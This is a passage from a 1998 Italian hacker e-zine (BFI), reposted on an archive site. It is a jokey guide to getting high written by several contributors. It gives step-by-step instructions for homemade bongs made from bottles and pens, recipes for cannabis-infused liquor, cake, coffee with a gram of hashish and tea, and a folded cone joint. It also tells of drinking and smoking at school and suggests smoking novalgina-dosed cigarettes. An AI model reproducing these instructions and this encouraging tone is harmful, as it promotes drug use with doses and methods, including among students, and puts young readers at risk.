non potrete mai esserlo. Io e Lele ce ne siamo sparate in un gg 4 a
testa (nella confezione c'e' scritto 1 al gg).
Dr_Slump --> Bella Pig.. Mi raccomando ragazzi non fate stronzate...

Mi sento scosso agitato-a agitato-a un po' nervoso-o acido come di piu' non si
puo'... Per voi in diretta da raDIO-CANE erano i Prozac+.
Cari lettori altro bel metodo per andare fuori (ad essere sincero fa venire
solo un bel malditesta) e' di mettere un po' di gocce di novalgina sul filtro
di una comune sigaretta e poi fumarsela...
Poi raccontatemi, mi raccomando...

Dr_Slump --> Certo che di gente strana in giro ce n'e' tanta, pensa che conosco
gente all'universita' che poki giorni prima degli esami comincia a
farsi di acidi per studiare di piu'... Sicurmente alla laurea ci
arriveranno con il cervello bello cotto..
PigPen --> In classe mia c'e' poi uno che si prende 2 grammi al giorno di
lecitina di soia perche' dice che e' una droga intelligente, in
effetti dovrebbe essere vero, ma io vi consiglio di lasciar stare
queste cazzate, di andare in erboristeria e di comprarvi della
vasopressina, se ve la beccate...

Cazzo, a scrivere questa guida imparo qualcosa anche io, quando esco dal lavoro
passo all'erboristeria va... che fate ragazzi venite anche voi?

PigPen --> NON esagerate nelle dosi e prendetevi pure la solita dose di
caffeina... Nei periodi neri arrivo ai 5 caffe' nel giro di 1 ora
(dalle 7 alle 8), io e Lele nel periodo in cui eravamo senza donne
(praticamente quasi sempre) ci portavamo una bottiglia a scuola e
cazzo si stava veramente bene, se devo essere onesto qualche volta
e' scappata una fumatina prima l'ora di ginnastica, ora non si fanno
piu' certe cose... Un mio amico invece prendeva roba prima dei
compiti di economia come rito...
Dr_Slump --> Collegando l'argomento caffeina con la scuola io con il mio
compagno di banco portavamo molto spesso il thermos di caffe'...
Il guiao che nel nostro caso il caffe' era corretto... Non male come
idea e sopratutto era insgamabile... Mentre spesso e volentieri
andando in palestra (distava 1km dall'istituto) scattava di tutto...
Usate un po' di immaginazione gente, naturalmente il classico era la
lattina di birra!
PigPen --> Escludo Lele da ogni canna... Lui non fuma niente....
Dr_Slump --> Perche' noi si' Pig? Naaaaaaa..
PigPen --> Nella mia zona cmq c'e' gente veramente strana, uno e' finito al
pronto soccorso perche' si e' iniettato budino, tre l'anno scorso
sono morti per quella cazzo di trielina (e porko dio chi la prende
e' proprio matto!), poi c'e' uno che va a caccia di funghi in Yugo,
un altro che si e' messo a dipingere il muro della sua cameretta
mentre fumava maria...
Dr_Slump --> Cazzo ma davvero si sono iniettati il budino? Non dirmelo che non
ci credo... Che cazzo di gente che c'e' in giro... Cazzo io conosco
gente che ha provato a fumare tutti gli ortaggi e le verdure che
esistono... Un mio amico mentre fumava maria sul suo letto (io
sinceramente preferirei scoparmi la mia amica di nome maria... ma
questa e' un'altra storia...) con le penne laser faceva i giochi di
luce... Mi ha detto che era un'esperienza bellissima...

>>PARTE 2:GALEONE... VARI METODI<<

Proprio dal galeone parte l'idea per questa guida, infatti una sera stavamo
tranquillamente parlando di cracking e hacking quando SMa$teR mi esce fuori con
questa domanda:

SMa$teR --> "Dottore che ci metti tu nel galeone come alcolico?"
Dr_Slump --> "Dove?"

E' da qui che parte la storia del galeone... molti di voi come lo conosceranno
sotto altro nome, ma in questa guida continueremo a chiamarlo cosi'.
Allora, inanzitutto c'e' da dire che il galeone consisterebbe in origine in una
particolare bottiglietta che ha due becchi: in un becco ci si mette la
sigaretta dalla parte del filtro, sul fondo della bottiglia ci si mette
dell'acqua, il fumo della sigaretta passa attraverso l'acqua raffredandosi e
noi aspirando il tutto dal secondo becco possiamo fumare tutta la sigaretta
in un sol colpo.
Gia' cosi gli effetti sono sbalorditivi, siccome noi siamo ragazzacci cattivi
abbiamo sostituito l'acqua con l'alcool e le sigarette con la maria. Non ci
avete capito un cazzo? Ok provo a farvi uno schemino in ascii:

sigaretta --->\\ ||<--- aspirate da qui
\\___||_
|\\ || |
| \\ |<--- contenitore ermetico
| \\ |
|^^^\\^^|
acqua --->| || |
|_______|

* I Metodo: Metodo Casareccio
(Scritto da Dr_Slump sotto consigli di Nello|Z)

Occorrente: 1 bottiglia di coca cola vuota (per svuotarla prima consiglio di
aggiungerci un po' di rhum e due fette di limone :)
2 sigarette (o piu di una)/maria
1/2 litro di acqua/alcool (consiglio vodka!)

| |<--- aspirate il tutto da qui
| |
/ \
/ \
| |
| |
sigaretta 1 |-------|
| ----| Coca |---- <--- sigaretta 2 (il filtro sta all'interno)
\------> ----|-------|----
| |
|^^^^^^^|
| |<---- alcool (4-5 dita)
|_______|

Come potete notare questo e'un metodo che si puo' attuare a tutte le feste che
voi frequentate, sinceramente e' meno "potente" di quello successivo, ma senza
ombra di dubbio molto sbrigativo. Per il liquore vedete voi.. va bene tutto...
piu' forte e' meglio e'... da quanto dice SMa$teR il max e' con il jack...
anche con la vodka rulezza! Comunque ripongo fiducia in voi.
Il disegnino di cui sopra mi sembra abbastanza chiaro quindi non mi dilungo in
spiegazioni. Ah mi raccomando: per i buchi delle sigarette fate un lavoro
preciso, magari isolate il tutto con un po' di nastro adesivo.
Una volta che vi siete stufati di fumare mi raccomando non buttate il tutto ok?

* II Metodo: Metodo simile al precedente ma piu' efficacie
(scritto dal grande EleSSaR^)

Occorente: stesso del metodo precedente.

Prendete una bottiglia da 1 litro e 1/2 o da due litri. Accendetevi una
sigaretta (io preferisco le Gauloises Blu, ma questo non c'entra una madonna/
N.d.Slump: anche io :)) e praticate un buco laterale verso la parte bassa della
bottiglia. Il buco deve essere tale che ci si possa infilare una canna o un
braciere da bong e ci possa anche stare dentro una certa quantita' di alcolico,
a vostra discrezione. Ora vi spiego come funzia, poi deciderete voi...
Infilate la canna nel buco e tirate dal normale collo della bottiglia. Tirate
piano, in questo momento NON bisogna aspirare il fumo direttamente nei polmoni
ma soltanto riempire il piu' possibile la bottiglia. Quando e' riempita a
sufficienza, riavvitate il tappo, tappate con un dito il buco della bottiglia e
scuotete violentemente la bottiglia per un po'. Dopodiche' stappatela e
scolatevela a collo in un sol sorso, unendo il fumo all'alcool.

| |<--- Tirate pian piano da qui senza
| | aspirare il fumo, a bottiglia piena
/ \ di fumo chiudete il tappo.
/ \
| |
| |
|-------|
| Coca |---- <--- sigaretta/ dopo avere tirato
|-------|---- levatela e bevete tutto d'un fiato
| | dal buco della sigaretta (ricordate
|^^^^^^^| di sbattere il tutto prima!)
| |<---- alcool (4-5 dita)
|_______|

N.B.: In questo momento e' lo Slump che vi parla, un'impressione personale su
questo metodo, che prima di scrivere questa guida non avevo mai provato:
SEMPLICEMENTE GRANDE...
Grazie EleSSaR^!

* III Metodo: Pipa ad acqua/bong/nargyle'
(scritto dal Dr. Slump con consigli di EleSSaR^)

Questo che trovate qui di seguito e' un metodo per costruirsi a casa la pipa ad
acqua o argyle'.
Se ne trovano anche in commercio... fate voi.

Occorente: 1 bottiglia di vetro o plastica con tappo richiudibile
3-4 penne bic
1 penna di quelle piu' large in modo da far entrare preciso il
filtro della sigaretta
Nastro isolante

\ \
\ \ ||
sigaretta ---> \ \ ||<--- aspirate da qui
\ \ ||
_||_||_
|_______|
| || || |
| || || |<--- bottiglia (e' disegnata male!)
| || |
| || |
|^||^^^^|
| || |<--- alcool
|_______|

Le penne bic servono per fare i due tubi (sigillate con lo scotch il buco che
hanno), raccordate la penna piu' grossa con la bic tramite lavoro di accendino,
anche sul tappo di palstica raccordate bene il tutto tramite accendino e
sigillate bene il tutto. Fumate gente fumate!
Come sigarette consiglio le galuoises blu e come alcool la vodka.
Questi che seguono sono i consigli di EleSSaR^:

- Il THC puo' essere considerato alcool-solubile: quindi se mettete alcool
nella bottiglia dove fumate la maria, dopo dovete bervi l'alcool per forza
perche' e' carico di principio attivo (sinceramente a me qualsiasi liquido in
cui e' passato del fumo fa un po' schifo qundi non lo faccio)
(N.d.Slump: Io si ;-)
- Suggerimento personale: usate l'acqua e non l'alcool e tirate + canna
possibile in un colpo solo. Il THC non e' solubile in acqua quindi potete
gettarla via tranquillamente.
- Oltre alla combinazione maria/acqua, funzionano molto bene anche con quella
alcoolico/tabacco: in quel caso non sara' necessario bere l'alcolico perche'
vi spaccheranno gia' abbastanza i vapori che vi verranno su assieme al fumo.
Tabacco consigliato: Golden Virginia. (N.d.Slump: magari non bevetelo voi, ma
qualcuno che vi sta intorno, non buttatelo! ;-)

>>PARTE 3: RICETTE VARIE... CHIAMIAMOLE UN PO' COSI...<<

* Ricetta 1: Il Drago Verde by EleSSaR^ (ne sa una piu' del Diavolo!)

Molte leggende circolano su questo alcolico... io scrivero' quelle verificate.
Prendete un alcolico, piu' forte e' meglio e', FA-VO-LO-SO l'effetto con la
GRAPPA BIANCA (a me piacciono pochi alcolici, la grappa e' fra questi), che
diventa quindi grappa alla canapa indiana... un must. Da provare. Cmq...
Esiste il metodo veloce che consiste nel versare l'alcolico in un pentolino,
aggiungerci la maria giovanna e riscaldare a fuoco LENTO (consiglio fornello +
piccolo al minimo), coprendo con un coperchio. L'alcolico non dovra' MAI
raggiungere il punto di ebollizione: tenetelo sempre al di sotto. Dopo che
l'avrete tenuto cosi' un po' di tempo (io l'ho tenuto circa 40 minuti),
lasciatelo raffreddare e quindi filtrate l'erba con un qualcosa che volete (un
passino, un colino...). A questo punto avete ottenuto un liquore che, se
l'alcoolico di partenza era incolore, sara' verde. Fatto con l'alcool puro (mai
provato) si chiama Drago Verde.
N.B.: Se avete intenzione di fumare la maria filtrata (poco potente) prima
vedete di farla asciugare MOLTO MOLTO BENE.
Il liquore di K4N4P4 non ha un effetto rapido quanto la sostanza fumata, ma e'
+ duraturo (e + collassante). Se bevete a stomaco vuoto vi verra' su dopo 1/2
ora, se no + tardi. Una volta che la stecca e' arrivata, dura all'incirca 3 ore
e vi lascia in uno stato di sonnolenza immane (mai riuscito a restare sveglio).
Calcolate bene i tempi quindi !!!!!!!!!!!!!
Cosa analoga si puo' fare anche con il fumo. In questo caso sbriciolate il fumo
per bene e seguite lo stesso procedimento. Il vantaggio e' che il fumo si
scioglie e non c'e' necessita' di filtrarlo dal composto finale.
N.B.: USATE SOLO FUMO DI QUALITA'. IL PLASTICONE FA *RACARE* MESSO IN UN
LIQUORE.
Metodo lento: e' quello con cui si da' sapore alle grappe. Mettete la canapa o
il fumo sbriciolato nell'alcolico e lasciatelo 'stagionare' per un periodo
abbastanza lungo (consiglio minimo 2 settimane).

* Ricetta 2: Torta a sorpresa by EleSSaR^

Comprate una torta di quelle cameo o simili, quelle con il 'kit torta' da
preparare con gli ingredienti inclusi.
Quando dicono di usare burro o latte, fate bollire il burro o il latte in un
pentolino e aggiungeteci la maria/fumo.
Lasciate bollire per qualche minuto. Poi se volete potete anche mangiarvi la
maria assieme alla torta, non dovete filtrarla.
Buona degustazio!!!!!!

* Ricetta 3: Caffe' al Fumo by Dr_Slump

Ingredienti: 1 tazzina di caffe'
1 grammo di Hashish
Liquore
Panna
Zucchero

Versare l'Hashish grattugiato nel caffe' bollente. E' necessario aggiungere un
po' di liquore o di panna per evitare che il principio attivo rimanga "in
sospensione" nel liquido (le molecole del THC legano con quelle dell'alcool e
dei grassi, ma non con quelle dell'acqua). Aggiungere un po' di zucchero per
dare un sapore piu' gustoso alla bevanda pero', nel caso in cui sia stata
aggiunta la panna, e' bene non esagerare, poiche' gli zuccheri rallentano la
digestione dei grassi.

* Ricetta 4: Te' galattico by Dr_Slump

Portare ad ebollizione circa mezzo litro d'acqua, poi versare circa 2 grammi di
marijuana, finemente tritata, lasciando bollire per qualche minuto. Spegnere il
fuoco, coprire, attendere almeno dieci minuti, filtrare ed addolcire con un po'
di miele. Si possono aggiungere fiori di gelsomino, oppure un pizzico di
cannella.

>>PARTE 4: IL CARCIOFO, QUESTO SCONOSCIUTO... by SMa$teR e DaMaDaFaKa<<

Cartine consigliate: Smoking Blue corte o Smoking ECO lunghe
Tabacco consigliato: quello estratto dalle sigarette MS o Malboro oppure il
Golden Virginia o West
(Non c'e' bisogno di mettere la mista, basta il tabacco)
Carta consigliata: biglietti d'invito dell'Ultimo Impero o biglietti FS

Prendere un pezzo di carta approssimativamente lungo 10 cm e largo kuanto basta
(Eh!Eh!):
--------------------------------------
1- Piegare verso di se' ----> |---1--------------------------------|
2- Piegare verso chi ti ----> |---2--------------------------------|
sta davanti (se non | |
c'e' nessuno davanti | |
viene lo stesso ;) | |
--------------------------------------
Poi continuare ad avvolgere da quella parte. Vi consiglio di non piegare, ma di
fare solo una specie di curva. Il diametro deve essere di circa 5 mm perche'
il fumo diventi piu' buono.

Chiudere il filtrone (Eh!Eh!) con 2 cartine corte o una lunga.
Prendere altre 2 cartine (sia lunghe che corte devono essere 2):

--------------------
Colla ----> |//////////////////|
|------------------| cartina 1
| |
| |
Mettere questa parte sopra alla colla ----> --------------------
(precedentemente leccata) dell'altra --------------------
cartina. Colla ----> |//////////////////|
(lecca qui) |------------------| cartina 2
| |
| |
--------------------

--------------------
|//////////////////|
|-----------------/|
| / |
| / |
Piegare verso di se' lungo questa linea ------------------> / |
| / |
-------------/------

--------------------
Leccare la colla e incollarla alla ----> |//////////////////|
parte piegata. |----------|------/
| | /
| | /
-----------|---/
| | /
| | /
-----------|/

|------------------|
Linguetta incollata ----> |------------------| --> Piegare
| | / anche questo
-----------|---/ triangolino.
| | /
| | /
-----------|/

Dare una forma di cono:
-------------------/
/ \ |------/---> Riempire di tabacco o
/ \ | -/ di mista fino a qui.
| | | -/
| | |/
\ / -/
\----/--/

Inserire il filtro fino a fargli toccare il tabacco (la droga conviene non
metterla ne' nel punto piu' stretto, ne' in quello piu' largo, per non
sprecarne.)
-------------------/
/ \ | -/
/ \ | -/
|-----------------------------------| | -/
|-----------------------------------| |/
\ / -/
\----/--/

Stringere con le dita la parte del cono che non contiene tabacco sul filtro e
chiuderla con un pezzo di carta stagnola arrotolata.
Alzare, infine, la carta che avanza al di sotto della stagnola verso la punta
del cono (e' solo coreografico!)

/--/
/ /
Riporto del cono ----> / / /--------\
/ / / --\
/ /--/ --\
Filtro ----> |--------------------------/-----/-|| --\
|----------------------------------|| --/
\/\ --/
Carta stagnola -----> /\ \ --/
Cono ----> \--------/

E con questo vi ho illustrato uno dei modi migliori per fumare... bisogna
essere un po' bravi con gli origami, ma ne vale la pena!

Ah gia', dimenticavo, vi spiego un po' di teoria: i fumi prodotti nell'ampia
camera di combustione devono passare piu' velocemente nel filtro, che e' molto
stretto, per cui si raffreddano, rendendo il tutto molto piu' buono!

>>PARTE 5: raDIO-CANE, L'ANGOLO DELLE CANZONI CON TESTI SIGNIFICATIVI<<

("Sbroccatamente si vive la notte" - Flaminio Maphia) --> Dr_Slump

Vivendo una vita come mano lesta/c'e' Rude che te butta giu' un po' di merda
gansta/ma questa dove si va', devo svolta'/e la gente mi dice vattene a
lavora'/ma che cazzo devo fa' se lavoro non ci sta'/per dio adesso sto a
sbrocca'/Stanotte stai attento che quanno vojo/e 'ndo te cojo te cojo/se passi
in brutte zone c'e' lo spoglio/rischi prima la grana poi la moto e la
puttana/sta in campana c'e' chi rolla chi va a nanna/chi ruba con la zanna chi
spaccia condanna/rompendo a qualche auto la mia tanto e' un panda/che dramma
chi si fa lo stereo e chi li fa me scanna/all'improvviso una sirena si sente
un'agonia/santa maria mamma mia e' arrivata la polizia/scappa via cosi' si vive
svoltando e scappando/tra una sgnocchera' di birra io canto/perche' semo
regazzi della strada de citta'/e se non ci credi fottiti questa e'
realta'/Sbroccatamente si vive la notte (x4)/Notte romana un po' ribelle/siamo
fuori dalle nostre celle sempre a mille/con effetti stupefacenti sotto la
mia/io non racconto balle ma dico cose vere/realta' gia' vissute che tengo
dentro ar core/sopra lo scalino di cemento/Vivo nella notte com'e' furtivo er
vento/da dentro il mio lamento si cosparge lento/nelle starde della capitale mi
assale la pazzia mentale/e si risveglia in me la parte criminale/in missione
pronto per partire/come in un incontro pronto per colpire/destro sinistro
sinistro destro/te schiaccio come jordan fa ar canestro/e' accaduto
l'imprevisto non previsto/bevuto dalle guardie ma questo non fa testo/sto qui
perche' so guscia e spaccio rime/solo a mezze piotte er ph sbroccatamente vive
la notte!/Sbroccatamente si vive la notte (x4)/Cappello di lana e sul naso
occhiali scuri/nel mio ghetto trinko smok e piscio sopra i muri/col fiato a
pezzi dopo fughe da asma/per i fottuti cops io sono il fantasma il mio
palcoscenico e' la fottuta strada/giu' le mani la mia zona e' proprieta'
privata/la notte e' fredda la notte e' buia/sbrocchi di notte per schiacciare
la noia/la fame che ti assale sale su fredda assasina/gelida e tagliente tipo
lama di ghigliottina/e allora bombe su bombe come medicina/bocce da 40 a mo' di
aspirina/sempre in sordina qualcuno di pedina/dalla sera alla mattina cerco
carne o selvaggina/sempre in tasca la tronchesina/per aprire qualche cantina
ma come dicono in Tv mi raccomando non lo fate/troppa gente come noi e' dietro
le grate/Sbroccatamente si vive la notte (x4)

("La Porra" - Sangue Misto) --> EleSSaR^

Con la mia ballotta fumo porra in quantita' / ta ta / tanto quanto basta / le
mie mani nella pasta / la mista e' ben farcita e io la faccio su / manco fossi
Mina vedo mille bolle blu / eh ehi Chi Chico se anche te sei come me / bella
li' / noi siamo soci nel T H C / plin plin senti come suona quando sale / fumo
la mia porra zero trip trip trip / fottono la testa di un guaglione con i bip
bip bip / io sono affezionato al dado Knorr / cartina filtro paglia fumo uguale
amor / porra nell' attesa ed ho l'aggiunta / la mia mistura e' ricca / la dose
esagerata che ti spacca / H C e quando fumo hasish / sento gli ultrasuoni e
vedo a raggi x / vado sulla luna come Benten / parte l'astronave delta 9 /
?jack? e Deda per la jam / bang / piena di grazia e' la mia pipa / e porto
marijuana in Vaticano come dono per il Papa / Santo Padre benedici la T con H C
/ siamo complici / tipo e' lei che mi / ispira / s'aggira dentro di me / e
manda fuori che non ce n'e' / fumo la porra zero pare Chico capisci / perche'
gia' sai Deda e' il guaglione per la legalizzazione / e se per quei signori io
sono ancora fuori / mi prendo cura dei miei affari / magari siamo pari / rendo
l'idea cremo punto e basta / c'e' sintonia con le mani in pasta / fumo senza
sosta non mettetemi alla sbarra / in testa c'ho la rima nella mano c'ho la
porra / ( Rit. ) Sangue Misto sempre nello stesso film / stessa situazione /
sempre con la mista nella mano di un guaglione ( 2x ) / e qui chi c'e' / la
N E F F A / un cane sciolto nella mia citta' / parlo della porra perche' solo
lei mi gusta / compro la mia stecca non mi compro mai la busta / nasce
dall'unione della terra con il sole / io la fumo dentro una cartina perche' so
che cosi' lei lo vuole / coi miei guaglioni da mattina a sera / la porra lucida
le rime come cera / Rit ( 2x )

>>PARTE 6: CONSIDERAZIONI FINALI BY DR_SLUMP<<

Questa guida e' cosi arrivata alla sua fine, volevo ringraziare tutti coloro
che hanno partecipato alla stesura di quest'ultima ricordando che probabilmente
senza il loro ausilio non avreste mai letto queste cose.
Vi ricordo inoltre che questa e' la versione 1.666 della guida... quindi in un
futuro, non molto remoto, sara' sicuramente ampliata con nuovi metodi. Se
volete partecipare scrivete anche voi un vosto pezzo e spedite il tutto
all'e-mail: BFI98@usa.net

Siamo fuori o no?

Dr_Slump - un giorno di marzo del 1998 non ben specificato -

Copirait Dr_Slump & S0ftProjecT 1998 ;-)
Dr_Slump


ÉÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ»
ºÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿º
º³ ³º
º³ HANN0 C0LLAá0RAT0 A QUEST0 NUMER0: ³º
º³ ³º
º³ Black Berry - Blinking - |CancerM| - Cavallo De Cavallis ³º
º³ DaMaDaFaKa - Dark Schneider - DevilKiss - Dr_Slump ³º
º³ DrumFire - EleSSaR^ - Frank Black - Fre - fusys - The_Hawk ³º
º³ LeLe - Lobotomia - LordFelix - LordKasKo - Nello|Z ³º
º³ |PazzO| - PFloriK - pIGpEN - |scacco| - Shanhy - SMa$teR ³º
º³ sPIRIT - VaNaDiO - Vide0Fuzzy ³º
º³ ³º
º³ iL SiT0 UŸŸiCiALE Di áUTCHERED ŸR0M iNSiDE: ³º
º³ http://bfi98.home.ml.org ³º
º³ ³º
º³ C0NTATTATECi ViA E-MAiL: ³º
º³ BFI98@USA.NET ³º
º³ ³º
ºÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙº
ÈÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍͼ
*******************************************************************************
* SI _VIETA_ DI POSTARE BFI SUI NEWSGROUP *
*******************************************************************************

← previous
next →
loading
sending ...
New to Neperos ? Sign Up for free
download Neperos App from Google Play
install Neperos as PWA

Let's discover also

Recent Articles

Recent Comments

Neperos cookies
This website uses cookies to store your preferences and improve the service. Cookies authorization will allow me and / or my partners to process personal data such as browsing behaviour.

By pressing OK you agree to the Terms of Service and acknowledge the Privacy Policy

By pressing REJECT you will be able to continue to use Neperos (like read articles or write comments) but some important cookies will not be set. This may affect certain features and functions of the platform.
OK
REJECT